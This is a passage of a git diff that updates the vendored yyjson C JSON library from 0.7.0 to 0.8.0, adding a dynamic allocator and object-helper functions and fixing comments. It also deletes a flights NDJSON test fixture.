pool_free(ctx_ptr, (void *)(tmp + 1)); - cur->size -= free_size; - } - return ptr; - } + /* check size */ + if (unlikely(size >= ctx->size)) return NULL; + pool_size_align(&old_size); + pool_size_align(&size); + if (unlikely(old_size == size)) return ptr; /* find next and prev chunk */ prev = NULL; @@ -1092,10 +1103,9 @@ static void *pool_realloc(void *ctx_ptr, void *ptr, next = next->next; } - /* merge to higher chunk if they are contiguous */ - if ((u8 *)cur + cur->size == (u8 *)next && - cur->size + next->size >= size) { - free_size = cur->size + next->size - size; + if ((u8 *)cur + cur->size == (u8 *)next && cur->size + next->size >= size) { + /* merge to higher chunk if they are contiguous */ + usize free_size = cur->size + next->size - size; if (free_size > sizeof(pool_chunk) * 2) { tmp = (pool_chunk *)(void *)((u8 *)cur + size); if (prev) prev->next = tmp; @@ -1109,15 +1119,15 @@ static void *pool_realloc(void *ctx_ptr, void *ptr, cur->size += next->size; } return ptr; + } else { + /* fallback to malloc and memcpy */ + void *new_ptr = pool_malloc(ctx_ptr, size - sizeof(pool_chunk)); + if (new_ptr) { + memcpy(new_ptr, ptr, cur->size - sizeof(pool_chunk)); + pool_free(ctx_ptr, ptr); + } + return new_ptr; } - - /* fallback to malloc and memcpy */ - new_ptr = pool_malloc(ctx_ptr, size - sizeof(pool_chunk)); - if (new_ptr) { - memcpy(new_ptr, ptr, cur->size - sizeof(pool_chunk)); - pool_free(ctx_ptr, ptr); - } - return new_ptr; } bool yyjson_alc_pool_init(yyjson_alc *alc, void *buf, usize size) { @@ -1147,6 +1157,161 @@ bool yyjson_alc_pool_init(yyjson_alc *alc, void *buf, usize size) { +/*============================================================================== + * Dynamic Memory Allocator + * + * This allocator allocates memory on demand and does not immediately release + * unused memory. Instead, it places the unused memory into a freelist for + * potential reuse in the future. It is only when the entire allocator is + * destroyed that all previously allocated memory is released at once. + *============================================================================*/ + +/** memory chunk header */ +typedef struct dyn_chunk { + usize size; /* chunk size, include header */ + struct dyn_chunk *next; + /* char mem[]; flexible array member */ +} dyn_chunk; + +/** allocator ctx header */ +typedef struct { + dyn_chunk free_list; /* dummy header, sorted from small to large */ + dyn_chunk used_list; /* dummy header */ +} dyn_ctx; + +/** align up the input size to chunk size */ +static_inline bool dyn_size_align(usize *size) { + usize alc_size = *size + sizeof(dyn_chunk); + alc_size = size_align_up(alc_size, YYJSON_ALC_DYN_MIN_SIZE); + if (unlikely(alc_size < *size)) return false; /* overflow */ + *size = alc_size; + return true; +} + +/** remove a chunk from list (the chunk must already be in the list) */ +static_inline void dyn_chunk_list_remove(dyn_chunk *list, dyn_chunk *chunk) { + dyn_chunk *prev = list, *cur; + for (cur = prev->next; cur; cur = cur->next) { + if (cur == chunk) { + prev->next = cur->next; + cur->next = NULL; + return; + } + prev = cur; + } +} + +/** add a chunk to list header (the chunk must not be in the list) */ +static_inline void dyn_chunk_list_add(dyn_chunk *list, dyn_chunk *chunk) { + chunk->next = list->next; + list->next = chunk; +} + +static void *dyn_malloc(void *ctx_ptr, usize size) { + /* assert(size != 0) */ + const yyjson_alc def = YYJSON_DEFAULT_ALC; + dyn_ctx *ctx = (dyn_ctx *)ctx_ptr; + dyn_chunk *chunk, *prev, *next; + if (unlikely(!dyn_size_align(&size))) return NULL; + + /* freelist is empty, create new chunk */ + if (!ctx->free_list.next) { + chunk = (dyn_chunk *)def.malloc(def.ctx, size); + if (unlikely(!chunk)) return NULL; + chunk->size = size; + chunk->next = NULL; + dyn_chunk_list_add(&ctx->used_list, chunk); + return (void *)(chunk + 1); + } + + /* find a large enough chunk, or resize the largest chunk */ + prev = &ctx->free_list; + while (true) { + chunk = prev->next; + if (chunk->size >= size) { /* enough size, reuse this chunk */ + prev->next = chunk->next; + dyn_chunk_list_add(&ctx->used_list, chunk); + return (void *)(chunk + 1); + } + if (!chunk->next) { /* resize the largest chunk */ + chunk = (dyn_chunk *)def.realloc(def.ctx, chunk, chunk->size, size); + if (unlikely(!chunk)) return NULL; + prev->next = NULL; + chunk->size = size; + dyn_chunk_list_add(&ctx->used_list, chunk); + return (void *)(chunk + 1); + } + prev = chunk; + } +} + +static void *dyn_realloc(void *ctx_ptr, void *ptr, + usize old_size, usize size) { + /* assert(ptr != NULL && size != 0 && old_size < size) */ + const yyjson_alc def = YYJSON_DEFAULT_ALC; + dyn_ctx *ctx = (dyn_ctx *)ctx_ptr; + dyn_chunk *prev, *next, *new_chunk; + dyn_chunk *chunk = (dyn_chunk *)ptr - 1; + if (unlikely(!dyn_size_align(&size))) return NULL; + if (chunk->size >= size) return ptr; + + dyn_chunk_list_remove(&ctx->used_list, chunk); + new_chunk = (dyn_chunk *)def.realloc(def.ctx, chunk, chunk->size, size); + if (likely(new_chunk)) { + new_chunk->size = size; + chunk = new_chunk; + } + dyn_chunk_list_add(&ctx->used_list, chunk); + return new_chunk ? (void *)(new_chunk + 1) : NULL; +} + +static void dyn_free(void *ctx_ptr, void *ptr) { + /* assert(ptr != NULL) */ + dyn_ctx *ctx = (dyn_ctx *)ctx_ptr; + dyn_chunk *chunk = (dyn_chunk *)ptr - 1, *prev; + + dyn_chunk_list_remove(&ctx->used_list, chunk); + for (prev = &ctx->free_list; prev; prev = prev->next) { + if (!prev->next || prev->next->size >= chunk->size) { + chunk->next = prev->next; + prev->next = chunk; + break; + } + } +} + +yyjson_alc *yyjson_alc_dyn_new(void) { + const yyjson_alc def = YYJSON_DEFAULT_ALC; + usize hdr_len = sizeof(yyjson_alc) + sizeof(dyn_ctx); + yyjson_alc *alc = (yyjson_alc *)def.malloc(def.ctx, hdr_len); + dyn_ctx *ctx = (dyn_ctx *)(void *)(alc + 1); + if (unlikely(!alc)) return NULL; + alc->malloc = dyn_malloc; + alc->realloc = dyn_realloc; + alc->free = dyn_free; + alc->ctx = alc + 1; + memset(ctx, 0, sizeof(*ctx)); + return alc; +} + +void yyjson_alc_dyn_free(yyjson_alc *alc) { + const yyjson_alc def = YYJSON_DEFAULT_ALC; + dyn_ctx *ctx = (dyn_ctx *)(void *)(alc + 1); + dyn_chunk *chunk, *next; + if (unlikely(!alc)) return; + for (chunk = ctx->free_list.next; chunk; chunk = next) { + next = chunk->next; + def.free(def.ctx, chunk); + } + for (chunk = ctx->used_list.next; chunk; chunk = next) { + next = chunk->next; + def.free(def.ctx, chunk); + } + def.free(def.ctx, alc); +} + + + /*============================================================================== * JSON document and value *============================================================================*/ @@ -1305,7 +1470,6 @@ yyjson_mut_val *yyjson_val_mut_copy(yyjson_mut_doc *m_doc, We copy them to another contiguous memory as mutable values, then reconnect the mutable values with the original relationship. */ - usize i_vals_len; yyjson_mut_val *m_vals, *m_val; yyjson_val *i_val, *i_end; @@ -1375,7 +1539,6 @@ static yyjson_mut_val *unsafe_yyjson_mut_val_mut_copy(yyjson_mut_doc *m_doc, second to last item, which needs to be linked to the last item to close the circle. */ - yyjson_mut_val *m_val = unsafe_yyjson_mut_val(m_doc, 1); if (unlikely(!m_val)) return NULL; m_val->tag = m_vals->tag; @@ -1540,12 +1703,13 @@ static_inline bool unsafe_yyjson_num_equals(void *lhs, void *rhs) { yyjson_val_uni *runi = &((yyjson_val *)rhs)->uni; yyjson_subtype lt = unsafe_yyjson_get_subtype(lhs); yyjson_subtype rt = unsafe_yyjson_get_subtype(rhs); - if (lt == rt) - return luni->u64 == runi->u64; - if (lt == YYJSON_SUBTYPE_SINT && rt == YYJSON_SUBTYPE_UINT) + if (lt == rt) return luni->u64 == runi->u64; + if (lt == YYJSON_SUBTYPE_SINT && rt == YYJSON_SUBTYPE_UINT) { return luni->i64 >= 0 && luni->u64 == runi->u64; - if (lt == YYJSON_SUBTYPE_UINT && rt == YYJSON_SUBTYPE_SINT) + } + if (lt == YYJSON_SUBTYPE_UINT && rt == YYJSON_SUBTYPE_SINT) { return runi->i64 >= 0 && luni->u64 == runi->u64; + } return false; } @@ -1571,8 +1735,8 @@ bool unsafe_yyjson_equals(yyjson_val *lhs, yyjson_val *rhs) { while (len-- > 0) { rhs = yyjson_obj_iter_getn(&iter, lhs->uni.str, unsafe_yyjson_get_len(lhs)); - if (!rhs || !unsafe_yyjson_equals(lhs + 1, rhs)) - return false; + if (!rhs) return false; + if (!unsafe_yyjson_equals(lhs + 1, rhs)) return false; lhs = unsafe_yyjson_get_next(lhs + 1); } } @@ -1626,8 +1790,8 @@ bool unsafe_yyjson_mut_equals(yyjson_mut_val *lhs, yyjson_mut_val *rhs) { while (len-- > 0) { rhs = yyjson_mut_obj_iter_getn(&iter, lhs->uni.str, unsafe_yyjson_get_len(lhs)); - if (!rhs || !unsafe_yyjson_mut_equals(lhs->next, rhs)) - return false; + if (!rhs) return false; + if (!unsafe_yyjson_mut_equals(lhs->next, rhs)) return false; lhs = lhs->next->next; } } @@ -2506,6 +2670,7 @@ yyjson_mut_val *yyjson_merge_patch(yyjson_mut_doc *doc, builder = yyjson_mut_obj(doc); if (unlikely(!builder)) return NULL; + memset(&local_orig, 0, sizeof(local_orig)); if (!yyjson_is_obj(orig)) { orig = &local_orig; orig->tag = builder->tag; @@ -2557,6 +2722,7 @@ yyjson_mut_val *yyjson_mut_merge_patch(yyjson_mut_doc *doc, builder = yyjson_mut_obj(doc); if (unlikely(!builder)) return NULL; + memset(&local_orig, 0, sizeof(local_orig)); if (!yyjson_mut_is_obj(orig)) { orig = &local_orig; orig->tag = builder->tag; @@ -3318,8 +3484,6 @@ static_inline void pow10_table_get_exp(i32 exp10, i32 *exp2) { -#if !YYJSON_DISABLE_READER - /*============================================================================== * JSON Character Matcher *============================================================================*/ @@ -3513,6 +3677,8 @@ static_inline bool digi_is_digit_or_fp(u8 d) { +#if !YYJSON_DISABLE_READER + /*============================================================================== * Hex Character Reader * This function is used by JSON reader to read escaped characters. diff --git a/src/yyjson.h b/src/yyjson.h index 52f8d1b..97b86fb 100644 --- a/src/yyjson.h +++ b/src/yyjson.h @@ -527,16 +527,16 @@ extern "C" { #define YYJSON_VERSION_MAJOR 0 /** The minor version of yyjson. */ -#define YYJSON_VERSION_MINOR 7 +#define YYJSON_VERSION_MINOR 8 /** The patch version of yyjson. */ #define YYJSON_VERSION_PATCH 0 /** The version of yyjson in hex: `(major << 16) | (minor << 8) | (patch)`. */ -#define YYJSON_VERSION_HEX 0x000700 +#define YYJSON_VERSION_HEX 0x000800 /** The version string of yyjson. */ -#define YYJSON_VERSION_STRING "0.7.0" +#define YYJSON_VERSION_STRING "0.8.0" /** The version of yyjson in hex, same as `YYJSON_VERSION_HEX`. */ yyjson_api uint32_t yyjson_version(void); @@ -635,11 +635,11 @@ typedef struct yyjson_alc { function, but the amount of memory required to write a JSON cannot be directly calculated. - This is not a general-purpose allocator. If used to read multiple JSON - documents and only some of them are released, it may cause memory - fragmentation, leading to performance degradation and memory waste. Therefore, - it is recommended to use this allocator only for reading or writing a single - JSON document. + This is not a general-purpose allocator. It is designed to handle a single JSON + data at a time. If it is used for overly complex memory tasks, such as parsing + multiple JSON documents using the same allocator but releasing only a few of + them, it may cause memory fragmentation, resulting in performance degradation + and memory waste. @param alc The allocator to be initialized. If this parameter is NULL, the function will fail and return false. @@ -662,9 +662,31 @@ typedef struct yyjson_alc { yyjson_doc *doc = yyjson_read_opts(json, strlen(json), 0, &alc, NULL); // the memory of `doc` is on the stack @endcode + + @warning This Allocator is not thread-safe. */ yyjson_api bool yyjson_alc_pool_init(yyjson_alc *alc, void *buf, size_t size); +/** + A dynamic allocator. + + This allocator has a similar usage to the pool allocator above. However, when + there is not enough memory, this allocator will dynamically request more memory + using libc's `malloc` function, and frees it all at once when it is destroyed. + + @return A new dynamic allocator, or NULL if memory allocation failed. + @note The returned value should be freed with `yyjson_alc_dyn_free()`. + + @warning This Allocator is not thread-safe. + */ +yyjson_api yyjson_alc *yyjson_alc_dyn_new(void); + +/** + Free a dynamic allocator which is created by `yyjson_alc_dyn_new()`. + @param alc The dynamic allocator to be destroyed. + */ +yyjson_api void yyjson_alc_dyn_free(yyjson_alc *alc); + /*============================================================================== @@ -3556,7 +3578,7 @@ yyjson_api_inline bool yyjson_mut_obj_rotate(yyjson_mut_val *obj, The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_null(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3566,7 +3588,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_null(yyjson_mut_doc *doc, The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_true(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3576,7 +3598,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_true(yyjson_mut_doc *doc, The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_false(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3586,7 +3608,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_false(yyjson_mut_doc *doc, The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_bool(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3596,7 +3618,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_bool(yyjson_mut_doc *doc, The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_uint(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3606,7 +3628,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_uint(yyjson_mut_doc *doc, The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_sint(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3616,7 +3638,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_sint(yyjson_mut_doc *doc, The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_int(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3626,7 +3648,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_int(yyjson_mut_doc *doc, The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_real(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3636,7 +3658,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_real(yyjson_mut_doc *doc, The `key` and `val` should be null-terminated UTF-8 strings. This function allows duplicated key in one object. - @warning The key/value string are not copied, you should keep these strings + @warning The key/value strings are not copied, you should keep these strings unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_str(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3648,7 +3670,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_str(yyjson_mut_doc *doc, The `len` should be the length of the `val`, in bytes. This function allows duplicated key in one object. - @warning The key/value string are not copied, you should keep these strings + @warning The key/value strings are not copied, you should keep these strings unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_strn(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3660,7 +3682,7 @@ yyjson_api_inline bool yyjson_mut_obj_add_strn(yyjson_mut_doc *doc, The value string is copied. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_strcpy(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -3673,18 +3695,44 @@ yyjson_api_inline bool yyjson_mut_obj_add_strcpy(yyjson_mut_doc *doc, The `len` should be the length of the `val`, in bytes. This function allows duplicated key in one object. - @warning The key/value string are not copied, you should keep these strings + @warning The key/value strings are not copied, you should keep these strings unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_strncpy(yyjson_mut_doc *doc, yyjson_mut_val *obj, const char *key, const char *val, size_t len); +/** + Creates and adds a new array to the target object. + The `key` should be a null-terminated UTF-8 string. + This function allows duplicated key in one object. + + @warning The key string is not copied, you should keep these strings + unmodified for the lifetime of this JSON document. + @return The new array, or NULL on error. + */ +yyjson_api_inline yyjson_mut_val *yyjson_mut_obj_add_arr(yyjson_mut_doc *doc, + yyjson_mut_val *obj, + const char *key); + +/** + Creates and adds a new object to the target object. + The `key` should be a null-terminated UTF-8 string. + This function allows duplicated key in one object. + + @warning The key string is not copied, you should keep these strings + unmodified for the lifetime of this JSON document. + @return The new object, or NULL on error. + */ +yyjson_api_inline yyjson_mut_val *yyjson_mut_obj_add_obj(yyjson_mut_doc *doc, + yyjson_mut_val *obj, + const char *key); + /** Adds a JSON value at the end of the object. The `key` should be a null-terminated UTF-8 string. This function allows duplicated key in one object. - @warning The key string are not copied, you should keep the string + @warning The key string is not copied, you should keep the string unmodified for the lifetime of this JSON document. */ yyjson_api_inline bool yyjson_mut_obj_add_val(yyjson_mut_doc *doc, yyjson_mut_val *obj, @@ -4510,6 +4558,9 @@ yyjson_api_inline bool unsafe_yyjson_is_str_noesc(const char *str, size_t len) { # undef yyjson_check_char_noesc return true; } +#else + (void)str; + (void)len; #endif return false; } @@ -6676,7 +6727,7 @@ yyjson_api_inline bool yyjson_mut_obj_put(yyjson_mut_val *obj, !yyjson_mut_is_str(key))) return false; key_len = unsafe_yyjson_get_len(key); yyjson_mut_obj_iter_init(obj, &iter); - while ((cur_key = yyjson_mut_obj_iter_next(&iter))) { + while ((cur_key = yyjson_mut_obj_iter_next(&iter)) != 0) { if (unsafe_yyjson_equals_strn(cur_key, key->uni.str, key_len)) { if (!replaced && val) { replaced = true; @@ -6917,6 +6968,22 @@ yyjson_api_inline bool yyjson_mut_obj_add_strncpy(yyjson_mut_doc *doc, }); } +yyjson_api_inline yyjson_mut_val *yyjson_mut_obj_add_arr(yyjson_mut_doc *doc, + yyjson_mut_val *obj, + const char *_key) { + yyjson_mut_val *key = yyjson_mut_str(doc, _key); + yyjson_mut_val *val = yyjson_mut_arr(doc); + return yyjson_mut_obj_add(obj, key, val) ? val : NULL; +} + +yyjson_api_inline yyjson_mut_val *yyjson_mut_obj_add_obj(yyjson_mut_doc *doc, + yyjson_mut_val *obj, + const char *_key) { + yyjson_mut_val *key = yyjson_mut_str(doc, _key); + yyjson_mut_val *val = yyjson_mut_obj(doc); + return yyjson_mut_obj_add(obj, key, val) ? val : NULL; +} + yyjson_api_inline bool yyjson_mut_obj_add_val(yyjson_mut_doc *doc, yyjson_mut_val *obj, const char *_key, diff --git a/tests/testthat/examples/flights.ndjson b/tests/testthat/examples/flights.ndjson deleted file mode 100644 index a5e79c3..0000000 --- a/tests/testthat/examples/flights.ndjson +++ /dev/null @@ -1,1000 +0,0 @@ -{"year":2013,"month":1,"day":1,"dep_time":517,"sched_dep_time":515,"dep_delay":2,"arr_time":830,"sched_arr_time":819,"arr_delay":11,"carrier":"UA","flight":1545,"tailnum":"N14228","origin":"EWR","dest":"IAH","air_time":227,"distance":1400,"hour":5,"minute":15,"time_hour":"2013-01-01 05:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":533,"sched_dep_time":529,"dep_delay":4,"arr_time":850,"sched_arr_time":830,"arr_delay":20,"carrier":"UA","flight":1714,"tailnum":"N24211","origin":"LGA","dest":"IAH","air_time":227,"distance":1416,"hour":5,"minute":29,"time_hour":"2013-01-01 05:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":542,"sched_dep_time":540,"dep_delay":2,"arr_time":923,"sched_arr_time":850,"arr_delay":33,"carrier":"AA","flight":1141,"tailnum":"N619AA","origin":"JFK","dest":"MIA","air_time":160,"distance":1089,"hour":5,"minute":40,"time_hour":"2013-01-01 05:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":544,"sched_dep_time":545,"dep_delay":-1,"arr_time":1004,"sched_arr_time":1022,"arr_delay":-18,"carrier":"B6","flight":725,"tailnum":"N804JB","origin":"JFK","dest":"BQN","air_time":183,"distance":1576,"hour":5,"minute":45,"time_hour":"2013-01-01 05:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":554,"sched_dep_time":600,"dep_delay":-6,"arr_time":812,"sched_arr_time":837,"arr_delay":-25,"carrier":"DL","flight":461,"tailnum":"N668DN","origin":"LGA","dest":"ATL","air_time":116,"distance":762,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":554,"sched_dep_time":558,"dep_delay":-4,"arr_time":740,"sched_arr_time":728,"arr_delay":12,"carrier":"UA","flight":1696,"tailnum":"N39463","origin":"EWR","dest":"ORD","air_time":150,"distance":719,"hour":5,"minute":58,"time_hour":"2013-01-01 05:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":555,"sched_dep_time":600,"dep_delay":-5,"arr_time":913,"sched_arr_time":854,"arr_delay":19,"carrier":"B6","flight":507,"tailnum":"N516JB","origin":"EWR","dest":"FLL","air_time":158,"distance":1065,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":557,"sched_dep_time":600,"dep_delay":-3,"arr_time":709,"sched_arr_time":723,"arr_delay":-14,"carrier":"EV","flight":5708,"tailnum":"N829AS","origin":"LGA","dest":"IAD","air_time":53,"distance":229,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":557,"sched_dep_time":600,"dep_delay":-3,"arr_time":838,"sched_arr_time":846,"arr_delay":-8,"carrier":"B6","flight":79,"tailnum":"N593JB","origin":"JFK","dest":"MCO","air_time":140,"distance":944,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":558,"sched_dep_time":600,"dep_delay":-2,"arr_time":753,"sched_arr_time":745,"arr_delay":8,"carrier":"AA","flight":301,"tailnum":"N3ALAA","origin":"LGA","dest":"ORD","air_time":138,"distance":733,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":558,"sched_dep_time":600,"dep_delay":-2,"arr_time":849,"sched_arr_time":851,"arr_delay":-2,"carrier":"B6","flight":49,"tailnum":"N793JB","origin":"JFK","dest":"PBI","air_time":149,"distance":1028,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":558,"sched_dep_time":600,"dep_delay":-2,"arr_time":853,"sched_arr_time":856,"arr_delay":-3,"carrier":"B6","flight":71,"tailnum":"N657JB","origin":"JFK","dest":"TPA","air_time":158,"distance":1005,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":558,"sched_dep_time":600,"dep_delay":-2,"arr_time":924,"sched_arr_time":917,"arr_delay":7,"carrier":"UA","flight":194,"tailnum":"N29129","origin":"JFK","dest":"LAX","air_time":345,"distance":2475,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":558,"sched_dep_time":600,"dep_delay":-2,"arr_time":923,"sched_arr_time":937,"arr_delay":-14,"carrier":"UA","flight":1124,"tailnum":"N53441","origin":"EWR","dest":"SFO","air_time":361,"distance":2565,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":559,"sched_dep_time":600,"dep_delay":-1,"arr_time":941,"sched_arr_time":910,"arr_delay":31,"carrier":"AA","flight":707,"tailnum":"N3DUAA","origin":"LGA","dest":"DFW","air_time":257,"distance":1389,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":559,"sched_dep_time":559,"dep_delay":0,"arr_time":702,"sched_arr_time":706,"arr_delay":-4,"carrier":"B6","flight":1806,"tailnum":"N708JB","origin":"JFK","dest":"BOS","air_time":44,"distance":187,"hour":5,"minute":59,"time_hour":"2013-01-01 05:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":559,"sched_dep_time":600,"dep_delay":-1,"arr_time":854,"sched_arr_time":902,"arr_delay":-8,"carrier":"UA","flight":1187,"tailnum":"N76515","origin":"EWR","dest":"LAS","air_time":337,"distance":2227,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":600,"sched_dep_time":600,"dep_delay":0,"arr_time":851,"sched_arr_time":858,"arr_delay":-7,"carrier":"B6","flight":371,"tailnum":"N595JB","origin":"LGA","dest":"FLL","air_time":152,"distance":1076,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":600,"sched_dep_time":600,"dep_delay":0,"arr_time":837,"sched_arr_time":825,"arr_delay":12,"carrier":"MQ","flight":4650,"tailnum":"N542MQ","origin":"LGA","dest":"ATL","air_time":134,"distance":762,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":601,"sched_dep_time":600,"dep_delay":1,"arr_time":844,"sched_arr_time":850,"arr_delay":-6,"carrier":"B6","flight":343,"tailnum":"N644JB","origin":"EWR","dest":"PBI","air_time":147,"distance":1023,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":602,"sched_dep_time":610,"dep_delay":-8,"arr_time":812,"sched_arr_time":820,"arr_delay":-8,"carrier":"DL","flight":1919,"tailnum":"N971DL","origin":"LGA","dest":"MSP","air_time":170,"distance":1020,"hour":6,"minute":10,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":602,"sched_dep_time":605,"dep_delay":-3,"arr_time":821,"sched_arr_time":805,"arr_delay":16,"carrier":"MQ","flight":4401,"tailnum":"N730MQ","origin":"LGA","dest":"DTW","air_time":105,"distance":502,"hour":6,"minute":5,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":606,"sched_dep_time":610,"dep_delay":-4,"arr_time":858,"sched_arr_time":910,"arr_delay":-12,"carrier":"AA","flight":1895,"tailnum":"N633AA","origin":"EWR","dest":"MIA","air_time":152,"distance":1085,"hour":6,"minute":10,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":606,"sched_dep_time":610,"dep_delay":-4,"arr_time":837,"sched_arr_time":845,"arr_delay":-8,"carrier":"DL","flight":1743,"tailnum":"N3739P","origin":"JFK","dest":"ATL","air_time":128,"distance":760,"hour":6,"minute":10,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":607,"sched_dep_time":607,"dep_delay":0,"arr_time":858,"sched_arr_time":915,"arr_delay":-17,"carrier":"UA","flight":1077,"tailnum":"N53442","origin":"EWR","dest":"MIA","air_time":157,"distance":1085,"hour":6,"minute":7,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":608,"sched_dep_time":600,"dep_delay":8,"arr_time":807,"sched_arr_time":735,"arr_delay":32,"carrier":"MQ","flight":3768,"tailnum":"N9EAMQ","origin":"EWR","dest":"ORD","air_time":139,"distance":719,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":611,"sched_dep_time":600,"dep_delay":11,"arr_time":945,"sched_arr_time":931,"arr_delay":14,"carrier":"UA","flight":303,"tailnum":"N532UA","origin":"JFK","dest":"SFO","air_time":366,"distance":2586,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":613,"sched_dep_time":610,"dep_delay":3,"arr_time":925,"sched_arr_time":921,"arr_delay":4,"carrier":"B6","flight":135,"tailnum":"N635JB","origin":"JFK","dest":"RSW","air_time":175,"distance":1074,"hour":6,"minute":10,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":615,"sched_dep_time":615,"dep_delay":0,"arr_time":1039,"sched_arr_time":1100,"arr_delay":-21,"carrier":"B6","flight":709,"tailnum":"N794JB","origin":"JFK","dest":"SJU","air_time":182,"distance":1598,"hour":6,"minute":15,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":615,"sched_dep_time":615,"dep_delay":0,"arr_time":833,"sched_arr_time":842,"arr_delay":-9,"carrier":"DL","flight":575,"tailnum":"N326NB","origin":"EWR","dest":"ATL","air_time":120,"distance":746,"hour":6,"minute":15,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":622,"sched_dep_time":630,"dep_delay":-8,"arr_time":1017,"sched_arr_time":1014,"arr_delay":3,"carrier":"US","flight":245,"tailnum":"N807AW","origin":"EWR","dest":"PHX","air_time":342,"distance":2133,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} 